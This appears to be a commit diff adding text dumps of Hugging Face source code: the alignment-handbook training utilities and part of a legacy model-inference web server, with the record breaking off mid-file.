Upload 59 files

.gitattributes

@@ -56,3 +56,7 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 # Video files - compressed
 *.mp4 filter=lfs diff=lfs merge=lfs -text
 *.webm filter=lfs diff=lfs merge=lfs -text
+huggingface_transformers.txt filter=lfs diff=lfs merge=lfs -text
+python_libs_plotly.py.txt filter=lfs diff=lfs merge=lfs -text
+python_libs_pytorch.txt filter=lfs diff=lfs merge=lfs -text
+python_libs_tensorflow.txt filter=lfs diff=lfs merge=lfs -text

huggingface_alignment-handbook.txt

@@ -0,0 +1,405 @@
+# File: alignment-handbook-main/src/alignment/__init__.py
+__version__ = '0.3.0.dev0'
+from .configs import DataArguments, DPOConfig, H4ArgumentParser, ModelArguments, SFTConfig
+from .data import apply_chat_template, get_datasets
+from .decontaminate import decontaminate_humaneval
+from .model_utils import get_checkpoint, get_kbit_device_map, get_peft_config, get_quantization_config, get_tokenizer, is_adapter_model
+__all__ = ['DataArguments', 'DPOConfig', 'H4ArgumentParser', 'ModelArguments', 'SFTConfig', 'apply_chat_template', 'get_datasets', 'decontaminate_humaneval', 'get_checkpoint', 'get_kbit_device_map', 'get_peft_config', 'get_quantization_config', 'get_tokenizer', 'is_adapter_model']
+
+# File: alignment-handbook-main/src/alignment/configs.py
+import dataclasses
+import os
+import sys
+from dataclasses import dataclass, field
+from typing import Any, Dict, List, NewType, Optional, Tuple
+from transformers import MODEL_FOR_CAUSAL_LM_MAPPING, HfArgumentParser
+import trl
+MODEL_CONFIG_CLASSES = list(MODEL_FOR_CAUSAL_LM_MAPPING.keys())
+MODEL_TYPES = tuple((conf.model_type for conf in MODEL_CONFIG_CLASSES))
+DataClassType = NewType('DataClassType', Any)
+
+class H4ArgumentParser(HfArgumentParser):
+
+    def parse_yaml_and_args(self, yaml_arg: str, other_args: Optional[List[str]]=None) -> List[dataclass]:
+        arg_list = self.parse_yaml_file(os.path.abspath(yaml_arg))
+        outputs = []
+        other_args = {arg.split('=')[0].strip('-'): arg.split('=')[1] for arg in other_args}
+        used_args = {}
+        for (data_yaml, data_class) in zip(arg_list, self.dataclass_types):
+            keys = {f.name for f in dataclasses.fields(data_yaml) if f.init}
+            inputs = {k: v for (k, v) in vars(data_yaml).items() if k in keys}
+            for (arg, val) in other_args.items():
+                if arg in keys:
+                    base_type = data_yaml.__dataclass_fields__[arg].type
+                    inputs[arg] = val
+                    if base_type in [int, float]:
+                        inputs[arg] = base_type(val)
+                    if base_type == List[str]:
+                        inputs[arg] = [str(v) for v in val.split(',')]
+                    if base_type is bool:
+                        if val in ['true', 'True']:
+                            inputs[arg] = True
+                        else:
+                            inputs[arg] = False
+                    if arg not in used_args:
+                        used_args[arg] = val
+                    else:
+                        raise ValueError(f'Duplicate argument provided: {arg}, may cause unexpected behavior')
+            obj = data_class(**inputs)
+            outputs.append(obj)
+        return outputs
+
+    def parse(self) -> DataClassType | Tuple[DataClassType]:
+        if len(sys.argv) == 2 and sys.argv[1].endswith('.yaml'):
+            output = self.parse_yaml_file(os.path.abspath(sys.argv[1]))
+        elif len(sys.argv) > 2 and sys.argv[1].endswith('.yaml'):
+            output = self.parse_yaml_and_args(os.path.abspath(sys.argv[1]), sys.argv[2:])
+        else:
+            output = self.parse_args_into_dataclasses()
+        if len(output) == 1:
+            output = output[0]
+        return output
+
+@dataclass
+class ModelArguments:
+    base_model_revision: Optional[str] = field(default=None, metadata={'help': 'The base model checkpoint for weights initialization with PEFT adapters.'})
+    model_name_or_path: Optional[str] = field(default=None, metadata={'help': "The model checkpoint for weights initialization. Don't set if you want to train a model from scratch."})
+    model_revision: str = field(default='main', metadata={'help': 'The specific model version to use (can be a branch name, tag name or commit id).'})
+    model_code_revision: str = field(default=None, metadata={'help': 'The branch of the IFT model'})
+    torch_dtype: Optional[str] = field(default=None, metadata={'help': "Override the default `torch.dtype` and load the model under this dtype. If `auto` is passed, the dtype will be automatically derived from the model's weights.", 'choices': ['auto', 'bfloat16', 'float16', 'float32']})
+    tokenizer_name_or_path: Optional[str] = field(default=None, metadata={'help': 'The path to the tokenizer. Useful if you want to use a different tokenizer to the one stored in `model_name_or_path`.'})
+    trust_remote_code: bool = field(default=False, metadata={'help': 'Trust remote code when loading a model.'})
+    attn_implementation: Optional[str] = field(default=None, metadata={'help': 'Which attention implementation to use; you can use --attn_implementation=flash_attention_2, in which case you must install this manually by running `pip install flash-attn --no-build-isolation`'})
+    use_peft: bool = field(default=False, metadata={'help': 'Whether to use PEFT or not for training.'})
+    lora_r: Optional[int] = field(default=16, metadata={'help': 'LoRA R value.'})
+    lora_alpha: Optional[int] = field(default=32, metadata={'help': 'LoRA alpha.'})
+    lora_dropout: Optional[float] = field(default=0.05, metadata={'help': 'LoRA dropout.'})
+    lora_target_modules: Optional[List[str]] = field(default=None, metadata={'help': 'LoRA target modules.'})
+    lora_modules_to_save: Optional[List[str]] = field(default=None, metadata={'help': 'Model layers to unfreeze & train'})
+    load_in_8bit: bool = field(default=False, metadata={'help': 'use 8 bit precision'})
+    load_in_4bit: bool = field(default=False, metadata={'help': 'use 4 bit precision'})
+    bnb_4bit_quant_type: Optional[str] = field(default='nf4', metadata={'help': 'precise the quantization type (fp4 or nf4)'})
+    use_bnb_nested_quant: bool = field(default=False, metadata={'help': 'use nested quantization'})
+    bnb_4bit_quant_storage: Optional[str] = field(default='uint8', metadata={'help': 'storage type to pack the quanitzed 4-bit prarams.'})
+
+    def __post_init__(self):
+        if self.load_in_8bit and self.load_in_4bit:
+            raise ValueError("You can't use 8 bit and 4 bit precision at the same time")
+
+@dataclass
+class DataArguments:
+    chat_template: Optional[str] = field(default=None, metadata={'help': 'The chat template to use.'})
+    dataset_mixer: Optional[Dict[str, float]] = field(default=None, metadata={'help': 'Datasets and their proportions to be used for training ift/rl.'})
+    text_column: Optional[str] = field(default='text', metadata={'help': 'The column name to use for the text in the dataset (only used for continued pretraining).'})
+    dataset_splits: Optional[List[str]] = field(default_factory=lambda : ['train', 'test'], metadata={'help': 'List of train test splits to use in the dataset'})
+    dataset_configs: Optional[List[str]] = field(default=None, metadata={'help': "List of dataset config names. If given must be the same length as 'dataset_mixer' keys."})
+    preprocessing_num_workers: Optional[int] = field(default=None, metadata={'help': 'The number of processes to use for the preprocessing.'})
+    truncation_side: Optional[str] = field(default=None, metadata={'help': 'Truncation side to use for the tokenizer.'})
+    auto_insert_empty_system_msg: bool = field(default=True, metadata={'help': 'Whether to automatically insert an empty system message as the first message if `system` is mentioned in the chat template.'})
+
+@dataclass
+class SFTConfig(trl.SFTConfig):
+    hub_model_revision: Optional[str] = field(default='main', metadata={'help': 'The Hub model branch to push the model to.'})
+    logging_first_step: bool = field(default=True, metadata={'help': 'Whether to log and evaluate the first global_step or not.'})
+
+@dataclass
+class DPOConfig(trl.DPOConfig):
+    hub_model_revision: Optional[str] = field(default='main', metadata={'help': 'The Hub model branch to push the model to.'})
+    logging_first_step: bool = field(default=True, metadata={'help': 'Whether to log and evaluate the first global_step or not.'})
+    optim: Optional[str] = field(default='rmsprop')
+    remove_unused_columns: bool = field(default=False)
+
+# File: alignment-handbook-main/src/alignment/data.py
+import os
+from typing import Any, List, Literal, Optional
+from datasets import DatasetDict, concatenate_datasets, load_dataset, load_from_disk
+from datasets.builder import DatasetGenerationError
+from .configs import DataArguments
+DEFAULT_CHAT_TEMPLATE = "{% for message in messages %}\n{% if message['role'] == 'user' %}\n{{ '<|user|>\n' + message['content'] + eos_token }}\n{% elif message['role'] == 'system' %}\n{{ '<|system|>\n' + message['content'] + eos_token }}\n{% elif message['role'] == 'assistant' %}\n{{ '<|assistant|>\n'  + message['content'] + eos_token }}\n{% endif %}\n{% if loop.last and add_generation_prompt %}\n{{ '<|assistant|>' }}\n{% endif %}\n{% endfor %}"
+
+def maybe_insert_system_message(messages, tokenizer):
+    if messages[0]['role'] == 'system':
+        return
+    chat_template = tokenizer.chat_template
+    if chat_template is None:
+        chat_template = tokenizer.get_chat_template()
+    if 'system' in chat_template or '<|im_start|>' in chat_template:
+        messages.insert(0, {'role': 'system', 'content': ''})
+
+def apply_chat_template(example, tokenizer, task: Literal['sft', 'generation', 'rm', 'dpo'], auto_insert_empty_system_msg: bool=True):
+    if task in ['sft', 'generation']:
+        messages = example['messages']
+        if auto_insert_empty_system_msg:
+            maybe_insert_system_message(messages, tokenizer)
+        example['text'] = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True if task == 'generation' else False)
+    elif task == 'rm':
+        if all((k in example.keys() for k in ('chosen', 'rejected'))):
+            chosen_messages = example['chosen']
+            rejected_messages = example['rejected']
+            if auto_insert_empty_system_msg:
+                maybe_insert_system_message(chosen_messages, tokenizer)
+                maybe_insert_system_message(rejected_messages, tokenizer)
+            example['text_chosen'] = tokenizer.apply_chat_template(chosen_messages, tokenize=False)
+            example['text_rejected'] = tokenizer.apply_chat_template(rejected_messages, tokenize=False)
+        else:
+            raise ValueError(f'Could not format example as dialogue for `rm` task! Require `[chosen, rejected]` keys but found {list(example.keys())}')
+    elif task in ['dpo', 'orpo']:
+        if all((k in example.keys() for k in ('chosen', 'rejected'))):
+            if not is_openai_format(example['chosen']) or not is_openai_format(example['rejected']):
+                raise ValueError(f'Could not format example as dialogue for `{task}` task! Require OpenAI format for all messages')
+            if 'prompt' in example and is_openai_format(example['prompt']):
+                prompt_messages = example['prompt']
+                chosen_messages = example['chosen']
+                rejected_messages = example['rejected']
+            else:
+                prompt_messages = example['chosen'][:-1]
+                chosen_messages = example['chosen'][-1:]
+                rejected_messages = example['rejected'][-1:]
+            if auto_insert_empty_system_msg:
+                maybe_insert_system_message(prompt_messages, tokenizer)
+            example['text_prompt'] = tokenizer.apply_chat_template(prompt_messages, tokenize=False)
+            example['text_chosen'] = tokenizer.apply_chat_template(chosen_messages, tokenize=False)
+            example['text_rejected'] = tokenizer.apply_chat_template(rejected_messages, tokenize=False)
+        else:
+            raise ValueError(f'Could not format example as dialogue for `{task}` task! Require either the `[chosen, rejected]` or `[prompt, chosen, rejected]` keys but found {list(example.keys())}')
+    else:
+        raise ValueError(f"Task {task} not supported, please ensure that the provided task is one of ['sft', 'generation', 'rm', 'dpo', 'orpo']")
+    return example
+
+def is_openai_format(messages: Any) -> bool:
+    if isinstance(messages, list) and all((isinstance(message, dict) for message in messages)):
+        return all(('role' in message and 'content' in message for message in messages))
+    return False
+
+def get_datasets(data_config: DataArguments | dict, splits: Optional[List[str]]=None, configs: Optional[List[str]]=None, columns_to_keep: Optional[List[str]]=None, shuffle: bool=True) -> DatasetDict:
+    if type(data_config) is DataArguments:
+        dataset_mixer = data_config.dataset_mixer
+    elif isinstance(data_config, dict):
+        dataset_mixer = data_config
+    else:
+        raise ValueError(f'Data config {data_config} not recognized.')
+    raw_datasets = mix_datasets(dataset_mixer, splits=splits, configs=configs, columns_to_keep=columns_to_keep, shuffle=shuffle)
+    return raw_datasets
+
+def mix_datasets(dataset_mixer: dict, splits: Optional[List[str]]=None, configs: Optional[List[str]]=None, columns_to_keep: Optional[List[str]]=None, shuffle=True) -> DatasetDict:
+    splits = ['train', 'test'] if splits is None else splits
+    configs = [None] * len(dataset_mixer) if not configs else configs
+    columns_to_keep = [] if columns_to_keep is None else columns_to_keep
+    if configs is not None and len(configs) != len(dataset_mixer):
+        raise ValueError('The number of given dataset config names must be the same as the given number of datasets.')
+    raw_datasets = DatasetDict()
+    raw_train_datasets = []
+    raw_val_datasets = []
+    fracs = []
+    for ((ds, frac), ds_config) in zip(dataset_mixer.items(), configs):
+        fracs.append(frac)
+        for split in splits:
+            try:
+                dataset = load_dataset(ds, ds_config, split=split)
+            except DatasetGenerationError:
+                dataset = load_from_disk(os.path.join(ds, split))
+            dataset = dataset.remove_columns([col for col in dataset.column_names if col not in columns_to_keep])
+            if 'train' in split:
+                raw_train_datasets.append(dataset)
+            elif 'test' in split:
+                raw_val_datasets.append(dataset)
+            else:
+                raise ValueError(f'Split type {split} not recognized as one of test or train.')
+    if any((frac < 0 for frac in fracs)):
+        raise ValueError('Dataset fractions cannot be negative.')
+    if len(raw_train_datasets) > 0:
+        train_subsets = []
+        for (dataset, frac) in zip(raw_train_datasets, fracs):
+            train_subset = dataset.select(range(int(frac * len(dataset))))
+            train_subsets.append(train_subset)
+        if shuffle:
+            raw_datasets['train'] = concatenate_datasets(train_subsets).shuffle(seed=42)
+        else:
+            raw_datasets['train'] = concatenate_datasets(train_subsets)
+    if len(raw_val_datasets) > 0:
+        if shuffle:
+            raw_datasets['test'] = concatenate_datasets(raw_val_datasets).shuffle(seed=42)
+        else:
+            raw_datasets['test'] = concatenate_datasets(raw_val_datasets)
+    if len(raw_datasets) == 0:
+        raise ValueError(f'Dataset {dataset_mixer} not recognized with splits {splits}. Check the dataset has been correctly formatted.')
+    return raw_datasets
+
+# File: alignment-handbook-main/src/alignment/decontaminate.py
+from typing import Any, Dict, List
+from datasets import load_dataset
+HUMAN_EVAL_STRINGS_OK = ['return x + y', 'return len(string)', 'return n**2', 'return .join(strings)']
+
+def extract_docstring(prompt: str) -> str:
+    if '"""' in prompt:
+        if prompt.count('"""') == 2:
+            return prompt.split('"""')[1].strip()
+        elif prompt.count('"""') == 4:
+            return prompt.split('"""')[3].strip()
+        else:
+            raise ValueError()
+    elif "'''" in prompt:
+        assert prompt.count("'''") == 2
+        return prompt.split("'''")[1].strip()
+    else:
+        raise ValueError()
+
+def human_eval_docstrings() -> List[str]:
+    ds = load_dataset('openai_humaneval', split='test')
+    docstrings = [extract_docstring(v['prompt']) for v in ds]
+    return docstrings
+
+def load_dataset_column(dataset: str, column: str, split: str, name=None) -> List[str]:
+    ds = load_dataset(dataset, split=split, name=name)
+    res = [sample[column].strip() for sample in ds]
+    return [sample for sample in res if len(sample) > 0]
+FILTER_OUT = {'human_eval_docstrings': human_eval_docstrings(), 'human_eval_solutions': [s for s in load_dataset_column('openai_humaneval', 'canonical_solution', 'test') if s not in HUMAN_EVAL_STRINGS_OK]}
+
+def normalize_whitespace(text: str) -> str:
+    return ' '.join(text.split())
+
+def decontaminate_humaneval(samples: List[Dict[str, Any]], text_column: str='text', filter_out: Dict[str, List[str]]=FILTER_OUT) -> List[Dict[str, Any]]:
+    output = []
+    for content in samples[text_column]:
+        content = normalize_whitespace(content.lower())
+        matched = False
+        for (_, substrings) in filter_out.items():
+            for substring in substrings:
+                if normalize_whitespace(substring.lower()) in content:
+                    matched = True
+                    break
+            if matched:
+                break
+        output.append(not matched)
+    return output
+
+# File: alignment-handbook-main/src/alignment/model_utils.py
+import os
+from pathlib import Path
+from typing import Dict
+import torch
+from transformers import AutoTokenizer, BitsAndBytesConfig, PreTrainedTokenizer
+from transformers.trainer_utils import get_last_checkpoint
+from accelerate import Accelerator
+from huggingface_hub import list_repo_files
+from huggingface_hub.utils._errors import RepositoryNotFoundError
+from huggingface_hub.utils._validators import HFValidationError
+from peft import LoraConfig, PeftConfig
+from .configs import DataArguments, DPOConfig, ModelArguments, SFTConfig
+from .data import DEFAULT_CHAT_TEMPLATE
+
+def get_current_device() -> int:
+    return Accelerator().local_process_index if torch.cuda.is_available() else 'cpu'
+
+def get_kbit_device_map() -> Dict[str, int] | None:
+    return {'': get_current_device()} if torch.cuda.is_available() else None
+
+def get_quantization_config(model_args: ModelArguments) -> BitsAndBytesConfig | None:
+    if model_args.load_in_4bit:
+        compute_dtype = torch.float16
+        if model_args.torch_dtype not in {'auto', None}:
+            compute_dtype = getattr(torch, model_args.torch_dtype)
+        quantization_config = BitsAndBytesConfig(load_in_4bit=True, bnb_4bit_compute_dtype=compute_dtype, bnb_4bit_quant_type=model_args.bnb_4bit_quant_type, bnb_4bit_use_double_quant=model_args.use_bnb_nested_quant, bnb_4bit_quant_storage=model_args.bnb_4bit_quant_storage).to_dict()
+    elif model_args.load_in_8bit:
+        quantization_config = BitsAndBytesConfig(load_in_8bit=True).to_dict()
+    else:
+        quantization_config = None
+    return quantization_config
+
+def get_tokenizer(model_args: ModelArguments, data_args: DataArguments, auto_set_chat_template: bool=True) -> PreTrainedTokenizer:
+    tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path if model_args.tokenizer_name_or_path is None else model_args.tokenizer_name_or_path, revision=model_args.model_revision, trust_remote_code=model_args.trust_remote_code)
+    if tokenizer.pad_token_id is None:
+        tokenizer.pad_token_id = tokenizer.eos_token_id
+    if data_args.truncation_side is not None:
+        tokenizer.truncation_side = data_args.truncation_side
+    if tokenizer.model_max_length > 100000:
+        tokenizer.model_max_length = 2048
+    if data_args.chat_template is not None:
+        tokenizer.chat_template = data_args.chat_template
+    elif auto_set_chat_template and tokenizer.get_chat_template() is None:
+        tokenizer.chat_template = DEFAULT_CHAT_TEMPLATE
+    return tokenizer
+
+def get_peft_config(model_args: ModelArguments) -> PeftConfig | None:
+    if model_args.use_peft is False:
+        return None
+    peft_config = LoraConfig(r=model_args.lora_r, lora_alpha=model_args.lora_alpha, lora_dropout=model_args.lora_dropout, bias='none', task_type='CAUSAL_LM', target_modules=model_args.lora_target_modules, modules_to_save=model_args.lora_modules_to_save)
+    return peft_config
+
+def is_adapter_model(model_name_or_path: str, revision: str='main') -> bool:
+    try:
+        repo_files = list_repo_files(model_name_or_path, revision=revision)
+    except (HFValidationError, RepositoryNotFoundError):
+        repo_files = os.listdir(model_name_or_path)
+    return 'adapter_model.safetensors' in repo_files or 'adapter_model.bin' in repo_files
+
+def get_checkpoint(training_args: SFTConfig | DPOConfig) -> Path | None:
+    last_checkpoint = None
+    if os.path.isdir(training_args.output_dir):
+        last_checkpoint = get_last_checkpoint(training_args.output_dir)
+    return last_checkpoint
+
+# File: alignment-handbook-main/src/alignment/release.py
+import argparse
+import re
+import packaging.version
+REPLACE_PATTERNS = {'init': (re.compile('^__version__\\s+=\\s+"([^"]+)"\\s*$', re.MULTILINE), '__version__ = "VERSION"\n'), 'setup': (re.compile('^(\\s*)version\\s*=\\s*"[^"]+",', re.MULTILINE), '\\1version="VERSION",'), 'citation': (re.compile('^version:\\s+[^ ]+', re.MULTILINE), 'version: VERSION'), 'readme': (re.compile('version\\s+=\\s+\\{[^}]+\\}', re.MULTILINE), 'version = {VERSION}')}
+README_FILE = 'README.md'
+REPLACE_FILES = {'init': 'src/alignment/__init__.py', 'setup': 'setup.py', 'citation': 'CITATION.cff', 'readme': README_FILE}
+
+def update_version_in_file(fname, version, pattern):
+    with open(fname, 'r', encoding='utf-8', newline='\n') as f:
+        code = f.read()
+    (re_pattern, replace) = REPLACE_PATTERNS[pattern]
+    replace = replace.replace('VERSION', version)
+    code = re_pattern.sub(replace, code)
+    with open(fname, 'w', encoding='utf-8', newline='\n') as f:
+        f.write(code)
+
+def global_version_update(version, patch=False):
+    for (pattern, fname) in REPLACE_FILES.items():
+        update_version_in_file(fname, version, pattern)
+
+def get_version():
+    with open(REPLACE_FILES['init'], 'r') as f:
+        code = f.read()
+    default_version = REPLACE_PATTERNS['init'][0].search(code).groups()[0]
+    return packaging.version.parse(default_version)
+
+def pre_release_work(patch=False):
+    default_version = get_version()
+    if patch and default_version.is_devrelease:
+        raise ValueError("Can't create a patch version from the dev branch, checkout a released version!")
+    if default_version.is_devrelease:
+        default_version = default_version.base_version
+    elif patch:
+        default_version = f'{default_version.major}.{default_version.minor}.{default_version.micro + 1}'
+    else:
+        default_version = f'{default_version.major}.{default_version.minor + 1}.0'
+    version = input(f'Which version are you releasing? [{default_version}]')
+    if len(version) == 0:
+        version = default_version
+    print(f'Updating version to {version}.')
+    global_version_update(version, patch=patch)
+
+def post_release_work():
+    current_version = get_version()
+    dev_version = f'{current_version.major}.{current_version.minor + 1}.0.dev0'
+    current_version = current_version.base_version
+    version = input(f'Which version are we developing now? [{dev_version}]')
+    if len(version) == 0:
+        version = dev_version
+    print(f'Updating version to {version}.')
+    global_version_update(version)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--post_release', action='store_true', help='Whether this is pre or post release.')
+    parser.add_argument('--patch', action='store_true', help='Whether or not this is a patch release.')
+    args = parser.parse_args()
+    if not args.post_release:
+        pre_release_work(patch=args.patch)
+    elif args.patch:
+        print('Nothing to do after a patch :-)')
+    else:
+        post_release_work()
+

huggingface_api-inference-community.txt

@@ -0,0 +1,213 @@
+# File: api-inference-community-master-old/main.py
+import json
+import os
+import tempfile
+import time
+from io import BytesIO
+from mimetypes import guess_extension
+from typing import Any, Dict, List, Optional, Tuple
+import librosa
+import psutil
+import requests
+import soundfile
+import timm
+import torch
+import uvicorn
+from asteroid import separate
+from asteroid.models import BaseModel as AsteroidBaseModel
+from espnet2.bin.asr_inference import Speech2Text
+from espnet2.bin.tts_inference import Text2Speech
+from PIL import Image
+from starlette.applications import Starlette
+from starlette.background import BackgroundTask
+from starlette.middleware import Middleware
+from starlette.middleware.cors import CORSMiddleware
+from starlette.requests import Request
+from starlette.responses import FileResponse, JSONResponse
+from starlette.routing import Route
+from transformers import Speech2TextForConditionalGeneration, Speech2TextProcessor, Wav2Vec2ForCTC, Wav2Vec2Tokenizer
+HF_HEADER_COMPUTE_TIME = 'x-compute-time'
+AnyModel = Any
+AnyTokenizer = Any
+EXAMPLE_TTS_EN_MODEL_ID = 'julien-c/ljspeech_tts_train_tacotron2_raw_phn_tacotron_g2p_en_no_space_train'
+EXAMPLE_TTS_ZH_MODEL_ID = 'julien-c/kan-bayashi_csmsc_tacotron2'
+EXAMPLE_ASR_EN_MODEL_ID = 'julien-c/mini_an4_asr_train_raw_bpe_valid'
+EXAMPLE_SEP_ENH_MODEL_ID = 'mhu-coder/ConvTasNet_Libri1Mix_enhsingle'
+EXAMPLE_SEP_SEP_MODEL_ID = 'julien-c/DPRNNTasNet-ks16_WHAM_sepclean'
+WAV2VEV2_MODEL_IDS = ['facebook/wav2vec2-base-960h', 'facebook/wav2vec2-large-960h-lv60-self', 'facebook/wav2vec2-large-xlsr-53-dutch', 'facebook/wav2vec2-large-xlsr-53-french', 'facebook/wav2vec2-large-xlsr-53-german', 'facebook/wav2vec2-large-xlsr-53-italian', 'facebook/wav2vec2-large-xlsr-53-spanish', 'facebook/wav2vec2-large-xlsr-53-portuguese']
+SPEECH_TO_TEXT_MODEL_IDS = ['facebook/s2t-small-librispeech-asr', 'facebook/s2t-medium-librispeech-asr', 'facebook/s2t-large-librispeech-asr', 'facebook/s2t-small-mustc-en-de-st', 'facebook/s2t-small-mustc-en-es-st', 'facebook/s2t-small-mustc-en-fr-st', 'facebook/s2t-small-mustc-en-it-st', 'facebook/s2t-small-mustc-en-nl-st', 'facebook/s2t-small-mustc-en-pt-st', 'facebook/s2t-small-mustc-en-ro-st', 'facebook/s2t-small-mustc-en-ru-st']
+with open('data/imagenet-simple-labels.json') as f:
+    IMAGENET_LABELS: List[str] = json.load(f)
+TTS_MODELS: Dict[str, AnyModel] = {}
+ASR_MODELS: Dict[str, AnyModel] = {}
+SEP_MODELS: Dict[str, AnyModel] = {}
+ASR_HF_MODELS: Dict[str, Tuple[AnyModel, AnyTokenizer]] = {}
+TIMM_MODELS: Dict[str, torch.nn.Module] = {}
+
+def home(request: Request):
+    return JSONResponse({'ok': True})
+
+def health(_):
+    process = psutil.Process(os.getpid())
+    mem_info = process.memory_info()
+    return JSONResponse({**process.as_dict(attrs=['memory_percent']), 'rss': mem_info.rss})
+
+def list_models(_):
+    all_models = {**TTS_MODELS, **ASR_MODELS, **SEP_MODELS, **{k: v[0] for (k, v) in ASR_HF_MODELS.items()}, **TIMM_MODELS}
+    return JSONResponse({k: v.__class__.__name__ for (k, v) in all_models.items()})
+
+async def post_inference_tts(request: Request, model: AnyModel):
+    start = time.time()
+    try:
+        body = await request.json()
+    except:
+        return JSONResponse(status_code=400, content='Invalid JSON body')
+    print(body)
+    text = body['text']
+    outputs = model(text)
+    speech = outputs[0]
+    with tempfile.NamedTemporaryFile(suffix='.wav', delete=False) as tmp:
+        soundfile.write(tmp.name, speech.numpy(), model.fs, 'PCM_16')
+    return FileResponse(tmp.name, headers={HF_HEADER_COMPUTE_TIME: '{:.3f}'.format(time.time() - start)}, background=BackgroundTask(lambda f: os.unlink(f), tmp.name))
+
+async def post_inference_asr(request: Request, model_id: str):
+    start = time.time()
+    content_type = request.headers['content-type'].split(';')[0]
+    if content_type == 'application/json':
+        body = await request.json()
+        if 'url' not in body:
+            return JSONResponse({'ok': False, 'message': f'Invalid json, no url key'}, status_code=400)
+        url = body['url']
+        r = requests.get(url, stream=True)
+        file_ext: Optional[str] = guess_extension(r.headers.get('content-type', ''), strict=False)
+        blob = r.content
+    else:
+        file_ext: Optional[str] = guess_extension(content_type, strict=False)
+        try:
+            blob = await request.body()
+        except Exception as exc:
+            return JSONResponse({'ok': False, 'message': f'Invalid body: {exc}'}, status_code=400)
+    with tempfile.NamedTemporaryFile(suffix=file_ext) as tmp:
+        print(tmp, tmp.name)
+        tmp.write(blob)
+        tmp.flush()
+        try:
+            (speech, rate) = soundfile.read(tmp.name, dtype='float32')
+        except:
+            try:
+                (speech, rate) = librosa.load(tmp.name, sr=16000)
+            except Exception as exc:
+                return JSONResponse({'ok': False, 'message': f'Invalid audio: {exc}'}, status_code=400)
+    if len(speech.shape) > 1:
+        speech = speech[:, 0]
+    if rate != 16000:
+        speech = librosa.resample(speech, rate, 16000)
+    if model_id in ASR_HF_MODELS:
+        if model_id in SPEECH_TO_TEXT_MODEL_IDS:
+            (model, processor) = ASR_HF_MODELS.get(model_id)
+            inputs = processor(speech, return_tensors='pt')
+            generated_ids = model.generate(input_ids=inputs['features'], attention_mask=inputs['attention_mask'])
+            text = processor.batch_decode(generated_ids, skip_special_tokens=True)[0]
+        else:
+            (model, tokenizer) = ASR_HF_MODELS.get(model_id)
+            input_values = tokenizer(speech, return_tensors='pt').input_values
+            logits = model(input_values).logits
+            predicted_ids = torch.argmax(logits, dim=-1)
+            text = tokenizer.decode(predicted_ids[0])
+    else:
+        model = ASR_MODELS.get(model_id)
+        outputs = model(speech)
+        (text, *_) = outputs[0]
+    print(text)
+    return JSONResponse({'text': text}, headers={HF_HEADER_COMPUTE_TIME: '{:.3f}'.format(time.time() - start)})
+
+async def post_inference_sep(request: Request, model: AnyModel):
+    start = time.time()
+    try:
+        body = await request.body()
+        with tempfile.NamedTemporaryFile() as tmp:
+            tmp.write(body)
+            tmp.flush()
+            (wav, fs) = separate._load_audio(tmp.name)
+    except Exception as exc:
+        return JSONResponse({'ok': False, 'message': f'Invalid body: {exc}'}, status_code=400)
+    wav = separate._resample(wav[:, 0], orig_sr=fs, target_sr=int(model.sample_rate))
+    (est_srcs,) = separate.numpy_separate(model, wav.reshape((1, 1, -1)))
+    est = est_srcs[0]
+    with tempfile.NamedTemporaryFile(suffix='.wav', delete=False) as tmp:
+        soundfile.write(tmp.name, est, int(model.sample_rate), 'PCM_16')
+    return FileResponse(tmp.name, headers={HF_HEADER_COMPUTE_TIME: '{:.3f}'.format(time.time() - start)}, background=BackgroundTask(lambda f: os.unlink(f), tmp.name))
+
+async def post_inference_timm(request: Request, model: torch.nn.Module):
+    start = time.time()
+    content_type = request.headers['content-type']
+    if content_type == 'application/json':
+        body = await request.json()
+        if 'url' not in body:
+            return JSONResponse({'ok': False, 'message': f'Invalid json, no url key'}, status_code=400)
+        url = body['url']
+        img = Image.open(requests.get(url, stream=True).raw)
+    else:
+        try:
+            body = await request.body()
+            img = Image.open(BytesIO(body))
+        except Exception as exc:
+            print(exc)
+            return JSONResponse({'ok': False, 'message': f'Unable to open image from request'}, status_code=400)
+    img = img.convert('RGB')
+    config = model.default_cfg
+    if isinstance(config['input_size'], tuple):
+        img_size = config['input_size'][-2:]
+    else:
+        img_size = config['input_size']
+    transform = timm.data.transforms_factory.transforms_imagenet_eval(img_size=img_size, interpolation=config['interpolation'], mean=config['mean'], std=config['std'])
+    input_tensor = transform(img)
+    input_tensor = input_tensor.unsqueeze(0)
+    with torch.no_grad():
+        output = model(input_tensor)
+    probs = output.squeeze(0).softmax(dim=0)
+    (values, indices) = torch.topk(probs, k=5)
+    labels = [IMAGENET_LABELS[i] for i in indices]
+    return JSONResponse([{'label': label, 'score': float(values[i])} for (i, label) in enumerate(labels)], headers={HF_HEADER_COMPUTE_TIME: '{:.3f}'.format(time.time() - start)})
+
+async def post_inference(request: Request) -> JSONResponse:
+    model_id = request.path_params['model_id']
+    if model_id in TTS_MODELS:
+        model = TTS_MODELS.get(model_id)
+        return await post_inference_tts(request, model)
+    if model_id in ASR_MODELS or model_id in ASR_HF_MODELS:
+        return await post_inference_asr(request, model_id)
+    if model_id in SEP_MODELS:
+        model = SEP_MODELS.get(model_id)
+        return await post_inference_sep(request, model)
+    if model_id in TIMM_MODELS:
+        model = TIMM_MODELS.get(model_id)
+        return await post_inference_timm(request, model)
+    return JSONResponse(status_code=404, content='Unknown or unsupported model')
+routes = [Route('/', home), Route('/health', health), Route('/models', list_models), Route('/models/{model_id:path}', post_inference, methods=['POST'])]
+middlewares = [Middleware(CORSMiddleware, allow_origins=['*'], allow_methods=['*'], allow_headers=['*'], expose_headers=['*'])]
+app = Starlette(debug=True, routes=routes, middleware=middlewares)
+if __name__ == '__main__':
+    start_time = time.time()
+    for model_id in (EXAMPLE_TTS_EN_MODEL_ID, EXAMPLE_TTS_ZH_MODEL_ID):
+        model = Text2Speech.from_pretrained(model_id, device='cpu')
+        TTS_MODELS[model_id] = model
+    for model_id in (EXAMPLE_ASR_EN_MODEL_ID,):
+        model = Speech2Text.from_pretrained(model_id, device='cpu')
+        ASR_MODELS[model_id] = model
+    for model_id in (EXAMPLE_SEP_ENH_MODEL_ID, EXAMPLE_SEP_SEP_MODEL_ID):
+        model = AsteroidBaseModel.from_pretrained(model_id)
+        SEP_MODELS[model_id] = model
+    for model_id in WAV2VEV2_MODEL_IDS:
